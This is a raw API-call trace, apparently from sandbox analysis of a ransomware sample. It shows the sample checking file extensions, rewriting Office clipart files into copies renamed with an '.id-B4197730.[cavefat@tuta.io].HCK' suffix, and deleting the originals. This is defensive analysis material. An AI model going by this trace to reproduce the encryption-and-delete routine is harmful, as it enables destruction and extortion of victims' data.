lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0169.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0169.742] lstrlenW (lpString=".doc") returned 4 [0169.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.742] lstrlenW (lpString=".docx") returned 5 [0169.742] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.742] lstrlenW (lpString=".pdf") returned 4 [0169.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.742] lstrlenW (lpString=".xls") returned 4 [0169.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.742] lstrlenW (lpString=".xlsx") returned 5 [0169.742] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.742] lstrlenW (lpString=".ppt") returned 4 [0169.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0169.742] lstrlenW (lpString=".zip") returned 4 [0169.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.742] lstrlenW (lpString=".rar") returned 4 [0169.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.742] lstrlenW (lpString=".bz2") returned 4 [0169.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.742] lstrlenW (lpString=".7z") returned 3 [0169.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0169.742] lstrlenW (lpString=".dbf") returned 4 [0169.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0169.742] lstrlenW (lpString=".1cd") returned 4 [0169.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182902.WMF") returned 68 [0169.742] lstrlenW (lpString=".jpg") returned 4 [0169.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.743] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.743] lstrlenW (lpString="J0183198.WMF") returned 12 [0169.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.759] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=24430) returned 1 [0169.759] CloseHandle (hObject=0x330) returned 1 [0169.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf")) returned 0x220 [0169.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.772] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.772] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.783] GetLastError () returned 0x0 [0169.783] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x5f6e, lpOverlapped=0x0) returned 1 [0169.785] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x5f70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5f70, lpOverlapped=0x0) returned 1 [0169.786] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.786] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.786] SetEndOfFile (hFile=0x370) returned 1 [0169.791] CloseHandle (hObject=0x370) returned 1 [0169.800] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.800] SetEndOfFile (hFile=0x388) returned 1 [0169.803] CloseHandle (hObject=0x388) returned 1 [0169.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf")) returned 1 [0169.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0169.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0169.806] lstrlenW (lpString=".doc") returned 4 [0169.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.806] lstrlenW (lpString=".docx") returned 5 [0169.806] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.806] lstrlenW (lpString=".pdf") returned 4 [0169.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.806] lstrlenW (lpString=".xls") returned 4 [0169.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.806] lstrlenW (lpString=".xlsx") returned 5 [0169.806] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.806] lstrlenW (lpString=".ppt") returned 4 [0169.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0169.806] lstrlenW (lpString=".zip") returned 4 [0169.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.806] lstrlenW (lpString=".rar") returned 4 [0169.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.806] lstrlenW (lpString=".bz2") returned 4 [0169.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.806] lstrlenW (lpString=".7z") returned 3 [0169.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0169.806] lstrlenW (lpString=".dbf") returned 4 [0169.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0169.806] lstrlenW (lpString=".1cd") returned 4 [0169.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0169.806] lstrlenW (lpString=".jpg") returned 4 [0169.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0169.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0169.806] lstrlenW (lpString=".doc") returned 4 [0169.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.806] lstrlenW (lpString=".docx") returned 5 [0169.806] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.806] lstrlenW (lpString=".pdf") returned 4 [0169.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.806] lstrlenW (lpString=".xls") returned 4 [0169.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.806] lstrlenW (lpString=".xlsx") returned 5 [0169.806] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.806] lstrlenW (lpString=".ppt") returned 4 [0169.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0169.806] lstrlenW (lpString=".zip") returned 4 [0169.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.807] lstrlenW (lpString=".rar") returned 4 [0169.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.807] lstrlenW (lpString=".bz2") returned 4 [0169.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.807] lstrlenW (lpString=".7z") returned 3 [0169.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0169.807] lstrlenW (lpString=".dbf") returned 4 [0169.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0169.807] lstrlenW (lpString=".1cd") returned 4 [0169.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68 [0169.807] lstrlenW (lpString=".jpg") returned 4 [0169.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.807] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.807] lstrlenW (lpString="J0185776.WMF") returned 12 [0169.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.810] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=27096) returned 1 [0169.810] CloseHandle (hObject=0x39c) returned 1 [0169.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf")) returned 0x220 [0169.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.823] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.823] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.826] GetLastError () returned 0x0 [0169.826] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x69d8, lpOverlapped=0x0) returned 1 [0169.830] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x69e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x69e0, lpOverlapped=0x0) returned 1 [0169.831] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.831] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.831] SetEndOfFile (hFile=0x2ec) returned 1 [0169.834] CloseHandle (hObject=0x2ec) returned 1 [0169.835] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.835] SetEndOfFile (hFile=0x398) returned 1 [0169.839] CloseHandle (hObject=0x398) returned 1 [0169.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185776.wmf")) returned 1 [0169.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0169.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0169.843] lstrlenW (lpString=".doc") returned 4 [0169.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.843] lstrlenW (lpString=".docx") returned 5 [0169.843] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.843] lstrlenW (lpString=".pdf") returned 4 [0169.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.844] lstrlenW (lpString=".xls") returned 4 [0169.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.844] lstrlenW (lpString=".xlsx") returned 5 [0169.844] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.844] lstrlenW (lpString=".ppt") returned 4 [0169.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0169.844] lstrlenW (lpString=".zip") returned 4 [0169.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.844] lstrlenW (lpString=".rar") returned 4 [0169.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.844] lstrlenW (lpString=".bz2") returned 4 [0169.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.844] lstrlenW (lpString=".7z") returned 3 [0169.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0169.844] lstrlenW (lpString=".dbf") returned 4 [0169.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0169.844] lstrlenW (lpString=".1cd") returned 4 [0169.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0169.844] lstrlenW (lpString=".jpg") returned 4 [0169.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0169.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0169.844] lstrlenW (lpString=".doc") returned 4 [0169.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.844] lstrlenW (lpString=".docx") returned 5 [0169.844] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.844] lstrlenW (lpString=".pdf") returned 4 [0169.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.844] lstrlenW (lpString=".xls") returned 4 [0169.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.844] lstrlenW (lpString=".xlsx") returned 5 [0169.844] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.844] lstrlenW (lpString=".ppt") returned 4 [0169.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0169.844] lstrlenW (lpString=".zip") returned 4 [0169.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.844] lstrlenW (lpString=".rar") returned 4 [0169.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.844] lstrlenW (lpString=".bz2") returned 4 [0169.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.844] lstrlenW (lpString=".7z") returned 3 [0169.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0169.844] lstrlenW (lpString=".dbf") returned 4 [0169.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0169.845] lstrlenW (lpString=".1cd") returned 4 [0169.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185776.WMF") returned 68 [0169.845] lstrlenW (lpString=".jpg") returned 4 [0169.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.845] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.845] lstrlenW (lpString="J0185790.WMF") returned 12 [0169.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.851] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=20662) returned 1 [0169.851] CloseHandle (hObject=0x2ec) returned 1 [0169.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf")) returned 0x220 [0169.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.869] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.869] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.872] GetLastError () returned 0x0 [0169.872] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x50b6, lpOverlapped=0x0) returned 1 [0169.874] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x50c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x50c0, lpOverlapped=0x0) returned 1 [0169.874] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.875] WriteFile (in: hFile=0x354, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.875] SetEndOfFile (hFile=0x354) returned 1 [0169.877] CloseHandle (hObject=0x354) returned 1 [0169.878] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.878] SetEndOfFile (hFile=0x388) returned 1 [0169.885] CloseHandle (hObject=0x388) returned 1 [0169.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf")) returned 1 [0169.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0169.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0169.890] lstrlenW (lpString=".doc") returned 4 [0169.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.890] lstrlenW (lpString=".docx") returned 5 [0169.890] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.890] lstrlenW (lpString=".pdf") returned 4 [0169.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.890] lstrlenW (lpString=".xls") returned 4 [0169.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.890] lstrlenW (lpString=".xlsx") returned 5 [0169.890] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.890] lstrlenW (lpString=".ppt") returned 4 [0169.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0169.890] lstrlenW (lpString=".zip") returned 4 [0169.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.890] lstrlenW (lpString=".rar") returned 4 [0169.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.890] lstrlenW (lpString=".bz2") returned 4 [0169.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.890] lstrlenW (lpString=".7z") returned 3 [0169.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0169.890] lstrlenW (lpString=".dbf") returned 4 [0169.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0169.890] lstrlenW (lpString=".1cd") returned 4 [0169.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0169.890] lstrlenW (lpString=".jpg") returned 4 [0169.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0169.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0169.890] lstrlenW (lpString=".doc") returned 4 [0169.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.890] lstrlenW (lpString=".docx") returned 5 [0169.890] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.890] lstrlenW 